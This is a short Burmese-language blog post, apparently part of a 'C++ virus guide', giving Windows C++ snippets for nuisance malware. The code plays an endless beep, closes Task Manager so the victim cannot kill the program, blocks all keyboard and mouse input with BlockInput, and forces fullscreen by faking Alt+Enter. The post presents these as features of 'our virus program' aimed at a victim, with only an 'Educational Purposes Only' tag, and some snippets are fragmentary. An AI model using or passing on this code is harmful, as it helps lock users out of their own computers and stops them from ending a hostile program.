ေအာက္မွာျပထားတဲ႔ code ကေတာ့ သင့္computer ရဲ႕ beep ထြက္လာေအာင္ျပဳလုပ္ႏိုင္ပါတယ္...
int Freq = 100;
int Duration = 100;
Beep(Freq,Duration);
while(1==1)
{Beep(Freq,Duration);}
}
ဆူဆူညံညံအသံေတြထြက္ေအာင္ လုပ္ႏိုင္တာေတာ့ ဟုတ္ပါျပီ... က်ေနာ္တို႔ရဲ႕ virus program ကို virus တိုက္ခိုက္ခံရတဲ႔ သူက ရပ္တန္႔သြားေအာင္ လုပ္လို႔မရေအာင္ ဘယ္လိုလုပ္မလဲ...?
အေျဖကေတာ့ - BlockInput();
BlockInput() ဟာ ျပႆနာေလးတစ္ခုရွိေနတာက လြဲရင္အဆင္ေျပပါတယ္... ဘာျပႆနာလဲဆိုေတာ့ user က CTRL + ALT + DEL keyေတြကို ႏွိပ္ျပီး taskmanager ကိုဖြင့္ျပီး က်ေနာ္တို႔ရဲ႕ program ကို ရပ္တန္႔ႏိုင္ပါေသးတယ္...input ႏွစ္ခုလံုးကို ရပ္တန္႔သြားေစဖို႔အတြက္ကေတာ့....
#include <winable.h> //must have for BlockInput
//အရင္C++ Virus Guide မွာေလ့လာခဲ႔ရတဲ႔ code ေတြကို ဒီေနရာမွာထည့္ပါ။
hWin = FindWindow(NULL,"Windows Task Manager"); //checks to make sure taskmgr isnt opened
SendMessage(hWin,WM_CLOSE,(LPARAM)0,(WPARAM)0); // if taskmgr is open it will close
BlockInput(true);
cout << "Your Input Is Blocked" <<endl;
Sleep(10000); //pauses for 10 seconds
BlockInput(false);
cout << "Your Input Is Unblocked" <<endl;
}
သင့္ရဲ႕ C++ virus ကို full screen လုပ္ခ်င္တယ္ဆိုရင္ေတာ့ ... ေအာက္က code ေတြကိုေလ့လာၾကည့္ပါ...
#include <iostream>
using namespace std;
#include <windows.h>
#include <conio.h>
class Program {
public:
void Fullscreen();
};
int main()
{
Program start;
start.Fullscreen();
cout<<"This is a full-screen C++ application!!";
getch();
return 0;
}
void Program::Fullscreen()
{
keybd_event (VK_MENU, 0x38, 0, 0);
keybd_event (VK_RETURN, 0x1c, 0, 0);
keybd_event (VK_RETURN, 0X1c, KEYEVENTF_KEYUP, 0);
keybd_event (VK_MENU, 0x38, KEYEVENTF_KEYUP, 0);
}
(Educational Purposes Only)
Post a Comment